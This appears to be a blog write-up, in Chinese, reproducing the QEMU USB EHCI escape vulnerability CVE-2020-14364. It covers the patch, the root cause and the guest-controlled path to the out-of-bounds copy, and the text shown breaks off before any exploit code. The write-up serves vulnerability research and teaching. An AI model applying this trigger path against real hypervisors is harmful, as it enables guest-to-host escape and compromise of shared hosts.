CVE-2020-14364漏洞复现——Qemu逃逸漏洞

t013033a04020acb088

前言

这篇文章中的任意地址读写和利用思路主要借鉴于参考链接中的文章,中间找调用链和绕过检测是自己的思路,这个漏洞相比于CVE-2016-4952难了很多花了挺长时间,而且这个漏洞不仅仅只有本文这种利用方法,还可以使用其余的usb协议来进行利用,如果文章出现什么错误,恳请各位师傅斧正。

环境搭建

环境搭建参照C++VE-2015-5165漏洞复现———QENU信息泄露漏洞那篇文章:http://www.resery.top/2020/10/13/CVE-2015-5165%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0——QENU%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E/

QEMU版本:4.0.0

启动脚本:

qemu-system-x86_64 
    -enable-kvm 
    -m 1G 
    -hda /home/resery/QEMU/Resery.img 
    -device e1000,netdev=net0 
    -netdev user,id=net0,hostfwd=tcp::33333-:22 
    -usb 
    -drive if=none,format=raw,id=disk1,file=./usb.img 
    -device ich9-usb-ehci1,id=usb 
    -device usb-storage,drive=disk1 

调试脚本:

gdb --args qemu-system-x86_64 
    -enable-kvm 
    -m 1G 
    -hda /home/resery/QEMU/Resery.img 
    -device e1000,netdev=net0 
    -netdev user,id=net0,hostfwd=tcp::33333-:22 
    -usb 
    -drive if=none,format=raw,id=disk1,file=./usb.img 
    -device ich9-usb-ehci1,id=usb 
    -device usb-storage,drive=disk1 
    -nographic

漏洞成因

首先我们直接先去看官网patch的内容,下面就是patch的全部内容,可以在第7行看到新增了一个setup_len的局部变量,然后可以看到第15行到18行做的操作是,把原先代码中的s->setup_len换成了新的局部变量setup_len,然后后面patch的部分都是把原来的s->setup_len换成setup_len,所以说问题就肯定是出来setup_len这里了,下面我们就需要仔细来查看一下没打patch前的do_token_setup代码

--- a/hw/usb/core.c
+++ b/hw/usb/core.c
@@ -129,6 +129,7 @@ void usb_wakeup(USBEndpoint *ep, unsigned int stream)
 static void do_token_setup(USBDevice *s, USBPacket *p)
 {
     int request, value, index;
+    unsigned int setup_len;

     if (p->iov.size != 8) {
         p->status = USB_RET_STALL;
@@ -138,14 +139,15 @@ static void do_token_setup(USBDevice *s, USBPacket *p)
     usb_packet_copy(p, s->setup_buf, p->iov.size);
     s->setup_index = 0;
     p->actual_length = 0;
-    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];
-    if (s->setup_len > sizeof(s->data_buf)) {
+    setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
+    if (setup_len > sizeof(s->data_buf)) {
         fprintf(stderr,
                 "usb_generic_handle_packet: ctrl buffer too small (%d > 
%zu)n",
-                s->setup_len, sizeof(s->data_buf));
+                setup_len, sizeof(s->data_buf));
         p->status = USB_RET_STALL;
         return;
     }
+    s->setup_len = setup_len;

     request = (s->setup_buf[0] << 8) | s->setup_buf[1];
     value   = (s->setup_buf[3] << 8) | s->setup_buf[2];
@@ -259,26 +261,28 @@ static void do_token_out(USBDevice *s, USBPacket *p)
 static void do_parameter(USBDevice *s, USBPacket *p)
 {
     int i, request, value, index;
+    unsigned int setup_len;

     for (i = 0; i < 8; i++) {
         s->setup_buf[i] = p->parameter >> (i*8);
     }

     s->setup_state = SETUP_STATE_PARAM;
-    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];
     s->setup_index = 0;

     request = (s->setup_buf[0] << 8) | s->setup_buf[1];
     value   = (s->setup_buf[3] << 8) | s->setup_buf[2];
     index   = (s->setup_buf[5] << 8) | s->setup_buf[4];

-    if (s->setup_len > sizeof(s->data_buf)) {
+    setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
+    if (setup_len > sizeof(s->data_buf)) {
         fprintf(stderr,
                 "usb_generic_handle_packet: ctrl buffer too small (%d > 
%zu)n",
-                s->setup_len, sizeof(s->data_buf));
+                setup_len, sizeof(s->data_buf));
         p->status = USB_RET_STALL;
         return;
     }
+    s->setup_len = setup_len;

     if (p->pid == USB_TOKEN_OUT) {
         usb_packet_copy(p, s->data_buf, s->setup_len);
--

do_token_setup代码内容如下,可以看到我在代码中标注为bug的地方,这里会根据s->setup_buf中的内容来给setup_len来赋值,然后会对s->setup_len进行检测,如果超过s->data_buf的大小那么就会直接返回,但是返回的时候我们没有给s->setup_len的值清零,这也就意味着我们可以控制s->setup_len的值为任意值

static void do_token_setup(USBDevice *s, USBPacket *p)
{
    int request, value, index;

    if (p->iov.size != 8) {
        p->status = USB_RET_STALL;
        return;
    }

    usb_packet_copy(p, s->setup_buf, p->iov.size);
    s->setup_index = 0;
    p->actual_length = 0;
    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];    <------------- [bug]
    if (s->setup_len > sizeof(s->data_buf)) {        <------------- [problem]
        fprintf(stderr,
                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)n",
                s->setup_len, sizeof(s->data_buf));
        p->status = USB_RET_STALL;
        return;        <------------- [problem]
    }

    request = (s->setup_buf[0] << 8) | s->setup_buf[1];
    value   = (s->setup_buf[3] << 8) | s->setup_buf[2];
    index   = (s->setup_buf[5] << 8) | s->setup_buf[4];

    if (s->setup_buf[0] & USB_DIR_IN) {
        usb_device_handle_control(s, p, request, value, index,
                                  s->setup_len, s->data_buf);
        if (p->status == USB_RET_ASYNC) {
            s->setup_state = SETUP_STATE_SETUP;
        }
        if (p->status != USB_RET_SUCCESS) {
            return;
        }

        if (p->actual_length < s->setup_len) {
            s->setup_len = p->actual_length;
        }
        s->setup_state = SETUP_STATE_DATA;
    } else {
        if (s->setup_len == 0)
            s->setup_state = SETUP_STATE_ACK;
        else
            s->setup_state = SETUP_STATE_DATA;
    }

    p->actual_length = 8;
}

之后这个setup_len还会被do_token_indo_token_out使用,并且在这两个函数中会调用usb_packet_copy函数,从而实现越界读或越界写

漏洞调用链

现再为了调用到漏洞函数,我们需要了解一下漏洞调用链,这个调用链还是可以很容易的找到的,在最开始开启虚拟机的时候直接在漏洞函数下断点,运行就可以直接在漏洞函数断下来从而获得到漏洞调用链,调用链如下,但是在ehci_advance_async_state这个函数下了断点之后,在我们想恢复函数运行的时候还是会多次断在这个函数,调试及其不方便,所以我们选择另一条调用链,在源代码中可以找到还有一个函数会调用ehci_advance_state,并且这个函数也会被ehci_work_bh调用,所以我们就选择这个函数来替换调用链中的ehci_advance_async_state,新的调用链如下

---------------------------------------------------------------------------------------------------------------------------
OLD:
#0  do_token_setup (s=0x555556d7c7d0, p=0x55555721dcd0) at hw/usb/core.c:131
#1  0x0000555555b9d144 in usb_process_one (p=0x55555721dd10) at hw/usb/core.c:375
#2  0x0000555555b9d357 in usb_handle_packet (dev=0x5555573ff0a0, p=0x55555721dd10) at hw/usb/core.c:420
#3  0x0000555555bb5a89 in ehci_execute (p=0x55555721dcd0, action=0x555555f7b35a "process") at hw/usb/hcd-ehci.c:1378
#4  0x0000555555bb6ea9 in ehci_state_execute (q=0x555556d7c7d0) at hw/usb/hcd-ehci.c:1936
#5  0x0000555555bb73c1 in ehci_advance_state (ehci=0x5555573783c0, async=1) at hw/usb/hcd-ehci.c:2077
#6  0x0000555555bb760a in ehci_advance_async_state (ehci=0x5555573783c0) at hw/usb/hcd-ehci.c:2148
#7  0x0000555555bb7c20 in ehci_work_bh (opaque=0x5555573783c0) at hw/usb/hcd-ehci.c:2316
#8  0x0000555555da5d2d in AIo_bh_call (bh=0x5555573fea30) at util/async.c:90
#9  0x0000555555da5dc9 in aio_bh_poll (ctx=0x5555566b6620) at util/async.c:118
#10 0x0000555555daacd1 in aio_dispatch (ctx=0x5555566b6620) at util/aio-posix.c:460
#11 0x0000555555da6182 in aio_ctx_dispatch (source=0x5555566b6620, callback=0x0, user_data=0x0) at util/async.c:261
#12 0x00007ffff7d48fbd in g_main_context_dispatch () from /lib/x86_64-Linux-gnu/libglib-2.0.so.0
#13 0x0000555555da95a5 in glib_pollfds_poll () at util/main-loop.c:213
#14 0x0000555555da9623 in os_host_main_loop_wait (timeout=0) at util/main-loop.c:236
#15 0x0000555555da9734 in main_loop_wait (nonblocking=0) at util/main-loop.c:512
#16 0x00005555559efe91 in main_loop () at vl.c:1970
#17 0x00005555559f7268 in main (argc=18, argv=0x7fffffffdbb8, envp=0x7fffffffdc50) at vl.c:4604
#18 0x00007ffff799d0b3 in __libc_start_main (main=0x5555559f38b0 <main>, argc=18, argv=0x7fffffffdbb8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,8
#19 0x00005555558007be in _start ()
---------------------------------------------------------------------------------------------------------------------------
NEW:
#0  do_token_setup (s=0x5555566b7e20, p=0x555556b5c3a0) at hw/usb/core.c:131
#1  0x0000555555b9d144 in usb_process_one (p=0x555556b5c3e0) at hw/usb/core.c:375
#2  0x0000555555b9d357 in usb_handle_packet (dev=0x5555573ff060, p=0x555556b5c3e0) at hw/usb/core.c:420
#3  0x0000555555bb5a89 in ehci_execute (p=0x555556b5c3a0, action=0x555555f7b35a "process") at hw/usb/hcd-ehci.c:1378
#4  0x0000555555bb6ea9 in ehci_state_execute (q=0x5555566b7e20) at hw/usb/hcd-ehci.c:1936
#5  0x0000555555bb73c1 in ehci_advance_state (ehci=0x5555573783c0, async=0) at hw/usb/hcd-ehci.c:2077
#6  0x0000555555bb781a in ehci_advance_periodic_state (ehci=0x5555573783c0) at hw/usb/hcd-ehci.c:2209
#7  0x0000555555bb7b25 in ehci_work_bh (opaque=0x5555573783c0) at hw/usb/hcd-ehci.c:2295
#8  0x0000555555da5d2d in aio_bh_call (bh=0x5555573fea10) at util/async.c:90
#9  0x0000555555da5dc9 in aio_bh_poll (ctx=0x5555566b6620) at util/async.c:118
#10 0x0000555555daacd1 in aio_dispatch (ctx=0x5555566b6620) at util/aio-posix.c:460
#11 0x0000555555da6182 in aio_ctx_dispatch (source=0x5555566b6620, callback=0x0, user_data=0x0) at util/async.c:261
#12 0x00007ffff7d48fbd in g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#13 0x0000555555da95a5 in glib_pollfds_poll () at util/main-loop.c:213
#14 0x0000555555da9623 in os_host_main_loop_wait (timeout=0) at util/main-loop.c:236
#15 0x0000555555da9734 in main_loop_wait (nonblocking=0) at util/main-loop.c:512
#16 0x00005555559efe91 in main_loop () at vl.c:1970
#17 0x00005555559f7268 in main (argc=18, argv=0x7fffffffdbb8, envp=0x7fffffffdc50) at vl.c:4604
#18 0x00007ffff799d0b3 in __libc_start_main (main=0x5555559f38b0 <main>, argc=18, argv=0x7fffffffdbb8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,8
#19 0x00005555558007be in _start ()
---------------------------------------------------------------------------------------------------------------------------

漏洞涉及到的数据结构

USBDevice

struct USBDevice {
    DeviceState qdev;
    USBPort *port;
    char *port_path;
    char *serial;
    void *opaque;
    uint32_t flags;

    /* Actual connected speed */
    int speed;
    /* Supported speeds, not in info because it may be variable (hostdevs) */
    int speedmask;
    uint8_t addr;
    char product_desc[32];
    int auto_attach;
    bool attached;

    int32_t state;
    uint8_t setup_buf[8];
    uint8_t data_buf[4096];
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[USB_MAX_ENDPOINTS];
    USBEndpoint ep_out[USB_MAX_ENDPOINTS];

    QLIST_HEAD(, USBDescStRing) strings;
    const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
    const USBDescDevice *device;

    int configuRATion;
    int ninterfaces;
    int altsetting[USB_MAX_INTERFACES];
    const USBDescConfig *config;
    const USBDescIface  *ifaces[USB_MAX_INTERFACES];
};

EHCIState

struct EHCIState {
    USBBus bus;
    DeviceState *device;
    qemu_irq irq;
    MemoryRegion mem;
    AddressSpace *as;
    MemoryRegion mem_caps;
    MemoryRegion mem_opreg;
    MemoryRegion mem_ports;
    int companion_count;
    bool companion_enable;
    uint16_t capsbase;
    uint16_t opregbase;
    uint16_t portscbase;
    uint16_t portnr;

    /* properties */
    uint32_t maxframes;

    /*
     *  EHCI spec version 1.0 Section 2.3
     *  Host Controller Operational Registers
     */
    uint8_t caps[CAPA_SIZE];
    union {
        uint32_t opreg[0x44/sizeof(uint32_t)];
        struct {
            uint32_t usbcmd;
            uint32_t usbsts;
            uint32_t usbintr;
            uint32_t frindex;
            uint32_t ctrldssegment;
            uint32_t periodiclistbase;
            uint32_t asynclistaddr;
            uint32_t notused[9];
            uint32_t configflag;
        };
    };
    uint32_t portsc[NB_PORTS];

    /*
     *  Internal states, shadow registers, etc
     */
    QEMUTimer *frame_timer;
    QEMUBH *async_bh;
    bool working;
    uint32_t astate;         /* Current state in asynchronous schedule */
    uint32_t pstate;         /* Current state in periodic schedule     */
    USBPort ports[NB_PORTS];
    USBPort *companion_ports[NB_PORTS];
    uint32_t usbsts_pending;
    uint32_t usbsts_frindex;
    EHCIQueueHead aqueues;
    EHCIQueueHead pqueues;

    /* which address to look at next */
    uint32_t a_fetch_addr;
    uint32_t p_fetch_addr;

    USBPacket ipacket;
    QEMUSGList isgl;

    uint64_t last_run_ns;
    uint32_t async_stepdown;
    uint32_t periodic_sched_active;
    bool int_req_by_async;
    VMChangeStateEntry *vmstate;
};

USBPort

struct USBPort {
    USBDevice *dev;
    int speedmask;
    int hubcount;
    char path[16];
    USBPortOps *ops;
    void *opaque;
    int index; /* internal port index, may be used with the opaque */
    QTAILQ_ENTRY(USBPort) next;
};

USBEndpoint

struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    QTAILQ_HEAD(, USBPacket) queue;
};

IRQState

struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

EHCIqtd

typedef struct EHCIqtd {
    uint32_t next;                    /* Standard next link pointer */
    uint32_t altnext;                 /* Standard next link pointer */
    uint32_t token;
#define QTD_TOKEN_DTOGGLE             (1 << 31)
#define QTD_TOKEN_TBYTES_MASK         0x7fff0000
#define QTD_TOKEN_TBYTES_SH           16
#define QTD_TOKEN_IOC                 (1 << 15)
#define QTD_TOKEN_CPAGE_MASK          0x00007000
#define QTD_TOKEN_CPAGE_SH            12
#define QTD_TOKEN_CERR_MASK           0x00000c00
#define QTD_TOKEN_CERR_SH             10
#define QTD_TOKEN_PID_MASK            0x00000300
#define QTD_TOKEN_PID_SH              8
#define QTD_TOKEN_ACTIVE              (1 << 7)
#define QTD_TOKEN_HALT                (1 << 6)
#define QTD_TOKEN_DBERR               (1 << 5)
#define QTD_TOKEN_BABBLE              (1 << 4)
#define QTD_TOKEN_XACTERR             (1 << 3)
#define QTD_TOKEN_MISSEDUF            (1 << 2)
#define QTD_TOKEN_SPLITXSTATE         (1 << 1)
#define QTD_TOKEN_PING                (1 << 0)

    uint32_t bufptr[5];               /* Standard buffer pointer */
#define QTD_BUFPTR_MASK               0xfffff000
#define QTD_BUFPTR_SH                 12
} EHCIqtd;

EHCIqh

typedef struct EHCIqh {
    uint32_t next;                    /* Standard next link pointer */

    /* endpoint characteristics */
    uint32_t epchar;
#define QH_EPCHAR_RL_MASK             0xf0000000
#define QH_EPCHAR_RL_SH               28
#define QH_EPCHAR_C                   (1 << 27)
#define QH_EPCHAR_MPLEN_MASK          0x07FF0000
#define QH_EPCHAR_MPLEN_SH            16
#define QH_EPCHAR_H                   (1 << 15)
#define QH_EPCHAR_DTC                 (1 << 14)
#define QH_EPCHAR_EPS_MASK            0x00003000
#define QH_EPCHAR_EPS_SH              12
#define EHCI_QH_EPS_FULL              0
#define EHCI_QH_EPS_LOW               1
#define EHCI_QH_EPS_HIGH              2
#define EHCI_QH_EPS_RESERVED          3

#define QH_EPCHAR_EP_MASK             0x00000f00
#define QH_EPCHAR_EP_SH               8
#define QH_EPCHAR_I                   (1 << 7)
#define QH_EPCHAR_DEVADDR_MASK        0x0000007f
#define QH_EPCHAR_DEVADDR_SH          0

    /* endpoint capabilities */
    uint32_t epcap;
#define QH_EPCAP_MULT_MASK            0xc0000000
#define QH_EPCAP_MULT_SH              30
#define QH_EPCAP_PORTNUM_MASK         0x3f800000
#define QH_EPCAP_PORTNUM_SH           23
#define QH_EPCAP_HUBADDR_MASK         0x007f0000
#define QH_EPCAP_HUBADDR_SH           16
#define QH_EPCAP_CMASK_MASK           0x0000ff00
#define QH_EPCAP_CMASK_SH             8
#define QH_EPCAP_SMASK_MASK           0x000000ff
#define QH_EPCAP_SMASK_SH             0

    uint32_t current_qtd;             /* Standard next link pointer */
    uint32_t next_qtd;                /* Standard next link pointer */
    uint32_t altnext_qtd;
#define QH_ALTNEXT_NAKCNT_MASK        0x0000001e
#define QH_ALTNEXT_NAKCNT_SH          1

    uint32_t token;                   /* Same as QTD token */
    uint32_t bufptr[5];               /* Standard buffer pointer */
#define BUFPTR_CPROGMASK_MASK         0x000000ff
#define BUFPTR_FRAMETAG_MASK          0x0000001f
#define BUFPTR_SBYTES_MASK            0x00000fe0
#define BUFPTR_SBYTES_SH              5
} EHCIqh;

EHCIPacket

struct EHCIPacket {
    EHCIQueue *queue;
    QTAILQ_ENTRY(EHCIPacket) next;

    EHCIqtd qtd;           /* copy of current QTD (being worked on) */
    uint32_t qtdaddr;      /* address QTD read from                 */

    USBPacket packet;
    QEMUSGList sgl;
    int pid;
    enum async_state async;
};

EHCIQueue

struct EHCIQueue {
    EHCIState *ehci;
    QTAILQ_ENTRY(EHCIQueue) next;
    uint32_t seen;
    uint64_t ts;
    int async;
    int traNSAct_ctr;

    /* cached data from guest - needs to be flushed
     * when guest removes an entry (doorbell, handshake sequence)
     */
    EHCIqh qh;             /* copy of current QH (being worked on) */
    uint32_t qhaddr;       /* address QH read from                 */
    uint32_t qtdaddr;      /* address QTD read from                */
    int last_pid;          /* pid of last packet executed          */
    USBDevice *dev;
    QTAILQ_HEAD(, EHCIPacket) packets;
};

操作设备内存的函数

操作内存的函数一共有下面这3种,其中ehci_caps_readehci_caps_writeehci_opreg_readehci_port_read我们在漏洞利用中没有使用到,并且ehci_caps_write函数的内容是空的ehci_caps_read的功能也很简单就是根据提供的addr返回一个值。

static const MemoryRegionOps ehci_mmio_caps_ops = {
    .read = ehci_caps_read,
    .write = ehci_caps_write,
    .valid.min_access_size = 1,
    .valid.max_access_size = 4,
    .impl.min_access_size = 1,
    .impl.max_access_size = 1,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

static const MemoryRegionOps ehci_mmio_opreg_ops = {
    .read = ehci_opreg_read,
    .write = ehci_opreg_write,
    .valid.min_access_size = 4,
    .valid.max_access_size = 4,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

static const MemoryRegionOps ehci_mmio_port_ops = {
    .read = ehci_port_read,
    .write = ehci_port_write,
    .valid.min_access_size = 4,
    .valid.max_access_size = 4,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

这三个函数访问的是同一块内存,但是访问的基址和范围是不一样的,这个基址和范围被 函数定义,函数代码如下

static void usb_ehci_pci_init(Object *obj)
{
    DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
    EHCIPCIState *i = PCI_EHCI(obj);
    EHCIState *s = &i->ehci;

    s->caps[0x09] = 0x68;        /* EECP */

    s->capsbase = 0x00;
    s->opregbase = 0x20;
    s->portscbase = 0x44;
    s->portnr = NB_PORTS;

    if (!dc->hotpluggable) {
        s->companion_enable = true;
    }

    usb_ehci_init(s, DEVICE(obj));
}

对应的我们用到的两个写函数代码如下

---------------------------------------------------------------------------------------------------------------------------
static void ehci_opreg_write(void *ptr, hwaddr addr,
                             uint64_t val, unsigned size)
{
    EHCIState *s = ptr;
    uint32_t *mmio = s->opreg + (addr >> 2);
    uint32_t old = *mmio;
    int i;

    trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);

    switch (addr) {
    case USBCMD:
        if (val & USBCMD_HCRESET) {
            ehci_reset(s);
            val = s->usbcmd;
            break;
        }

        /* not supporting dynamic frame list size at the moment */
        if ((val & USBCMD_FLS) && !(s->usbcmd & USBCMD_FLS)) {
            fprintf(stderr, "attempt to set frame list size -- value %dn",
                    (int)val & USBCMD_FLS);
            val &= ~USBCMD_FLS;
        }

        if (val & USBCMD_IAAD) {
            /*
             * Process IAAD immediately, otherwise the Linux IAAD watchdog may
             * trigger and re-use a qh without us seeing the unlink.
             */
            s->async_stepdown = 0;
            qemu_bh_schedule(s->async_bh);
            trace_usb_ehci_doorbell_ring();
        }

        if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) !=
            ((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd)) {
            if (s->pstate == EST_INACTIVE) {
                SET_LAST_RUN_CLOCK(s);
            }
            s->usbcmd = val; /* Set usbcmd for ehci_update_halt() */
            ehci_update_halt(s);
            s->async_stepdown = 0;
            qemu_bh_schedule(s->async_bh);
        }
        break;

    case USBSTS:
        val &= USBSTS_RO_MASK;              // bits 6 through 31 are RO
        ehci_clear_usbsts(s, val);          // bits 0 through 5 are R/WC
        val = s->usbsts;
        ehci_update_irq(s);
        break;

    case USBINTR:
        val &= USBINTR_MASK;
        if (ehci_enabled(s) && (USBSTS_FLR & val)) {
            qemu_bh_schedule(s->async_bh);
        }
        break;

    case FRINDEX:
        val &= 0x00003fff; /* frindex is 14bits */
        s->usbsts_frindex = val;
        break;

    case CONFIGFLAG:
        val &= 0x1;
        if (val) {
            for(i = 0; i < NB_PORTS; i++)
                handle_port_owner_write(s, i, 0);
        }
        break;

    case PERIODICLISTBASE:
        if (ehci_periodic_enabled(s)) {
            fprintf(stderr,
              "ehci: PERIODIC list base register set while periodic schedulen"
              "      is enabled and HC is enabledn");
        }
        break;

    case ASYNCLISTADDR:
        if (ehci_async_enabled(s)) {
            fprintf(stderr,
              "ehci: ASYNC list address register set while async schedulen"
              "      is enabled and HC is enabledn");
        }
        break;
    }

    *mmio = val;
    trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr),
                                *mmio, old);
}
---------------------------------------------------------------------------------------------------------------------------
static void ehci_port_write(void *ptr, hwaddr addr,
                            uint64_t val, unsigned size)
{
    EHCIState *s = ptr;
    int port = addr >> 2;
    uint32_t *portsc = &s->portsc[port];
    uint32_t old = *portsc;
    USBDevice *dev = s->ports[port].dev;

    trace_usb_ehci_portsc_write(addr + s->portscbase, addr >> 2, val);

    /* Clear rwc bits */
    *portsc &= ~(val & PORTSC_RWC_MASK);
    /* The guest may clear, but not set the PED bit */
    *portsc &= val | ~PORTSC_PED;
    /* POWNER is masked out by RO_MASK as it is RO when we've no companion */
    handle_port_owner_write(s, port, val);
    /* And finally apply RO_MASK */
    val &= PORTSC_RO_MASK;

    if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) {
        trace_usb_ehci_port_reset(port, 1);
    }

    if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) {
        trace_usb_ehci_port_reset(port, 0);
        if (dev && dev->attached) {
            usb_port_reset(&s->ports[port]);
            *portsc &= ~PORTSC_CSC;
        }

        /*
         *  Table 2.16 Set the enable bit(and enable bit change) to indicate
         *  to SW that this port has a high speed device attached
         */
        if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) {
            val |= PORTSC_PED;
        }
    }

    if ((val & PORTSC_SUSPEND) && !(*portsc & PORTSC_SUSPEND)) {
        trace_usb_ehci_port_suspend(port);
    }
    if (!(val & PORTSC_FPRES) && (*portsc & PORTSC_FPRES)) {
        trace_usb_ehci_port_resume(port);
        val &= ~PORTSC_SUSPEND;
    }

    *portsc &= ~PORTSC_RO_MASK;
    *portsc |= val;
    trace_usb_ehci_portsc_change(addr + s->portscbase, addr >> 2, *portsc, old);
}
---------------------------------------------------------------------------------------------------------------------------

绕过检测

在漏洞调用链中我们可以看到第一个与usb有关的函数是ehci_work_bh,然后ehci_work_bh调用ehci_advance_periodic_state,我们直接来看一下ehci_work_bh函数需要经过哪些步骤才能调用到ehci_advance_periodic_state,函数代码如下,根据代码可以发现想要调用到ehci_advance_periodic_state的话,需要ehci_periodic_enabled(ehci)或者ehci->pstate != EST_INACTIVE这两个条件中的一个为真即可,ehci_periodic_enabled的代码也在下方,可以看到我们只需要设置s->usbcmd的值为USBCMD_PSE | USBCMD_RUNSTOP就可以调用到ehci_advance_periodic_state,这里可能有人会疑问(ehci->frindex & 7) == 0这个条件并没有设置呀,这是因为这里有个循环并且每次循环都会让frindex加1,所以就一定会使(ehci->frindex & 7) == 0这个条件为真

----------------------------------------------------------------------------------------------------------------------------
static void ehci_work_bh(void *opaque)
{
    EHCIState *ehci = opaque;
    int need_timer = 0;
    int64_t expire_time, t_now;
    uint64_t ns_elapsed;
    uint64_t uframes, skipped_uframes;
    int i;

    if (ehci->working) {
        return;
    }
    ehci->working = true;

    ......

    if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) {
        need_timer++;

        ......

        for (i = 0; i < uframes; i++) {
            /*
             * If we're running behind schedule, we should not catch up
             * too fast, as that will make some guests unhappy:
             * 1) We must process a minimum of MIN_UFR_PER_TICK frames,
             *    otherwise we will never catch up
             * 2) Process frames until the guest has requested an irq (IOC)
             */
            if (i >= MIN_UFR_PER_TICK) {
                ehci_commit_irq(ehci);
                if ((ehci->usbsts & USBINTR_MASK) & ehci->usbintr) {
                    break;
                }
            }
            if (ehci->periodic_sched_active) {
                ehci->periodic_sched_active--;
            }
            ehci_update_frindex(ehci, 1);
            if ((ehci->frindex & 7) == 0) {
                ehci_advance_periodic_state(ehci);
            }
            ehci->last_run_ns += UFRAME_TIMER_NS;
        }
    } 
    ......
}
----------------------------------------------------------------------------------------------------------------------------
static inline bool ehci_async_enabled(EHCIState *s)
{
    return ehci_enabled(s) && (s->usbcmd & USBCMD_ASE);
}    
----------------------------------------------------------------------------------------------------------------------------
static inline bool ehci_enabled(EHCIState *s)
{
    return s->usbcmd & USBCMD_RUNSTOP;
}
----------------------------------------------------------------------------------------------------------------------------

下一个应该调用的函数是ehci_advance_state,同样也来看一下ehci_advance_periodic_state的代码看看怎么样才能调用到ehci_advance_state,函数代码如下,这里仅仅需要设置一下list即可,然后list是由ehci->periodiclistbase来设置的,乍一看这个periodiclistbase是不可控的,但是我们仔细观察一下ehci_opreg_write,在这个函数中虽然没有直接对periodiclistbase赋值的语句,但是最后他有一行这样的代码*mmio = val;,并且mmio的地址是我们可以控制的因为最开始有一行这样的代码uint32_t *mmio = s->opreg + (addr >> 2);,同时我们可以看到EHCIState结构中periodiclistbase是在opre 后面的,所以说我们就可以控制list的值了,然后后面list+4(调试的时候得到的,因为list |= ((ehci->frindex & 0x1ff8) >> 1);这行代码导致的+4),后面还有一个get_dwords函数,这个函数会从list取内容存到entry里面,这个函数并不需要设置返回的就是大于0的值

static void ehci_advance_periodic_state(EHCIState *ehci)
{
    uint32_t entry;
    uint32_t list;
    const int async = 0;

    // 4.6

    switch(ehci_get_state(ehci, async)) {
    case EST_INACTIVE:
        if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {
            ehci_set_state(ehci, async, EST_ACTIVE);
            // No break, fall through to ACTIVE
        } else
            break;

    case EST_ACTIVE:
        if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {
            ehci_queues_rip_all(ehci, async);
            ehci_set_state(ehci, async, EST_INACTIVE);
            break;
        }

        list = ehci->periodiclistbase & 0xfffff000;
        /* check that register has been set */
        if (list == 0) {
            break;
        }
        list |= ((ehci->frindex & 0x1ff8) >> 1);

        if (get_dwords(ehci, list, &entry, 1) < 0) {
            break;
        }

        DPRINTF("PERIODIC state adv fr=%d.  [%08X] -> %08Xn",
                ehci->frindex / 8, list, entry);
        ehci_set_fetch_addr(ehci, async,entry);
        ehci_set_state(ehci, async, EST_FETCHENTRY);
        ehci_advance_state(ehci, async);
        ehci_queues_rip_unused(ehci, async);
        break;

    default:
        /* this should only be due to a developer mistake */
        fprintf(stderr, "ehci: Bad periodic state %d. "
                "Resetting to activen", ehci->pstate);
        g_assert_not_reached();
    }
}

下面就是到了ehci_advance_state这个函数,这个函数有很多case分支,代码如下,可以看到我们想要调用的ehci_state_execute前面有一个assert,他要求q不为空,同时我们可以看到EST_FETCHQH分支会给q赋值,而且这个switch是在一个循环里面,也就意味着说我们可以多次执行分支代码,所以说我们只要让最后面的if (again < 0 || itd_count > 16)这个为真就可以保证我们在获取到q之后还可以进入EST_EXECUTE分支。

首先动调发现每次进入这个函数的时候第一个进入的分支就是EST_FETCHENTRY,这个函数会根据p_fetch_addr来获取entry的地址,并且会根据entry的后三位来决定下次循环进入哪个分支,p_fetch_addr是由我们可控的,在上一层函数ehci_advance_periodic_state中会调用ehci_set_fetch_addr函数来给p_fetch_addr赋值,赋的值就是entry的地址,entry的地址是list+4,list的地址是我们可控的,所以我们可以让list地址为一块dmabuf,这样我们就可以控制entry的值,从而来使下次分支会经过EST_FETCHQH

经过EST_FETCHQH分支之后,并不能直接控制分支去执行EST_EXECUTE处的代码,这里我们需要在执行完EST_FETCHQH分支之后去执行EST_FETCHQTD分支,因为这个分支里面才可以控制下一次分支执行EST_EXECUTE处的代码,在EST_FETCHQH里面我们需要设置获取的qh的token为1 << 7还有current_qtd不为空,这里qh的地址也是我们可以控制的,在ehci_state_fetchqh中会根据entry来找到qh的地址,entry是我们可控的所以说qh的内容也就是可控的,这里设置完了之后我们就可以在下一次分支去执行EST_FETCHQTD分支处的代码

EST_FETCHQTD分支里面,我们需要设置qtd的token为(1 << 7),这里qtd的内容也是我们可控的,qtd的地址是由qh的current_qtd来决定的,qh可控所以qtd也就可控,这之后我们就可以执行到ehci_state_execute

static void ehci_advance_state(EHCIState *ehci, int async)
